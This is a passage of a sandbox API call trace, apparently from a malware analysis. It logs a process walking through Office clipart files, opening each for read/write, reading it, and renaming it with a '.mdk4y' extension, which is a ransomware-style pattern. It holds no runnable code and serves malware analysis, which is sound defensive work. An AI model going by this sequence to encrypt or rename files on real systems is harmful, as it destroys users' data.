lpPerformanceCount=0x37dee4*=1822061700000) returned 1 [0145.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.mdk4y")) returned 1 [0145.389] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.389] AreFileApisANSI () returned 1 [0145.389] GetACP () returned 0x4e4 [0145.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101856.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101856.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.389] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822062000000) returned 1 [0145.390] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x133f8, lpOverlapped=0x0) returned 1 [0145.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069000000) returned 1 [0145.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069000000) returned 1 [0145.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.mdk4y")) returned 1 [0145.463] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.463] AreFileApisANSI () returned 1 [0145.463] GetACP () returned 0x4e4 [0145.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101857.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101857.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.463] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069300000) returned 1 [0145.463] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069500000) returned 1 [0145.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069500000) returned 1 [0145.466] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.mdk4y")) returned 1 [0145.467] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.467] AreFileApisANSI () returned 1 [0145.467] GetACP () returned 0x4e4 [0145.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101858.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101858.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.467] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069800000) returned 1 [0145.468] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069900000) returned 1 [0145.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822069900000) returned 1 [0145.470] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.mdk4y")) returned 1 [0145.470] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.471] AreFileApisANSI () returned 1 [0145.471] GetACP () returned 0x4e4 [0145.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101859.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101859.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.471] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822070100000) returned 1 [0145.471] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822070300000) returned 1 [0145.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822070300000) returned 1 [0145.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.mdk4y")) returned 1 [0145.475] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.475] AreFileApisANSI () returned 1 [0145.475] GetACP () returned 0x4e4 [0145.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101860.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101860.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.475] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822070700000) returned 1 [0145.477] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822070900000) returned 1 [0145.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822070900000) returned 1 [0145.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.mdk4y")) returned 1 [0145.481] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.481] AreFileApisANSI () returned 1 [0145.481] GetACP () returned 0x4e4 [0145.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101861.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101861.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.481] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822071200000) returned 1 [0145.482] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822078400000) returned 1 [0145.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822078400000) returned 1 [0145.555] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.mdk4y")) returned 1 [0145.557] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.557] AreFileApisANSI () returned 1 [0145.557] GetACP () returned 0x4e4 [0145.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101862.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101862.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.557] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822078700000) returned 1 [0145.557] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822081500000) returned 1 [0145.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822081500000) returned 1 [0145.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.mdk4y")) returned 1 [0145.587] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.587] AreFileApisANSI () returned 1 [0145.587] GetACP () returned 0x4e4 [0145.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101863.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101863.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822081800000) returned 1 [0145.588] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822082500000) returned 1 [0145.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822082500000) returned 1 [0145.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.mdk4y")) returned 1 [0145.597] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.597] AreFileApisANSI () returned 1 [0145.597] GetACP () returned 0x4e4 [0145.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101864.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101864.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.597] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822082700000) returned 1 [0145.598] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822083000000) returned 1 [0145.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822083000000) returned 1 [0145.601] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.mdk4y")) returned 1 [0145.601] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.601] AreFileApisANSI () returned 1 [0145.601] GetACP () returned 0x4e4 [0145.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101865.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101865.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.602] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822083200000) returned 1 [0145.602] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822083800000) returned 1 [0145.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822083800000) returned 1 [0145.609] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.mdk4y")) returned 1 [0145.610] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.610] AreFileApisANSI () returned 1 [0145.610] GetACP () returned 0x4e4 [0145.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101866.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101866.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.610] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822084000000) returned 1 [0145.610] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0145.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822085900000) returned 1 [0145.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822085900000) returned 1 [0145.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.mdk4y")) returned 1 [0145.631] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.631] AreFileApisANSI () returned 1 [0145.631] GetACP () returned 0x4e4 [0145.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101867.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101867.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0145.631] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822086200000) returned 1 [0145.633] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7f68, lpOverlapped=0x0) returned 1 [0145.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822087600000) returned 1 [0145.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822087600000) returned 1 [0145.647] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.mdk4y")) returned 1 [0145.648] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.648] AreFileApisANSI () returned 1 [0145.648] GetACP () returned 0x4e4 [0145.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0101980.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0101980.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.648] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822087900000) returned 1 [0145.649] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3ee8, lpOverlapped=0x0) returned 1 [0145.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822090600000) returned 1 [0145.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822090700000) returned 1 [0145.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.mdk4y")) returned 1 [0145.678] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.678] AreFileApisANSI () returned 1 [0145.678] GetACP () returned 0x4e4 [0145.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0102002.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0102002.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.678] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822090800000) returned 1 [0145.678] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3e74, lpOverlapped=0x0) returned 1 [0145.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822093600000) returned 1 [0145.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822093600000) returned 1 [0145.707] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.mdk4y")) returned 1 [0145.708] FindNextFileW (in: hFindFile=0x6ab310, 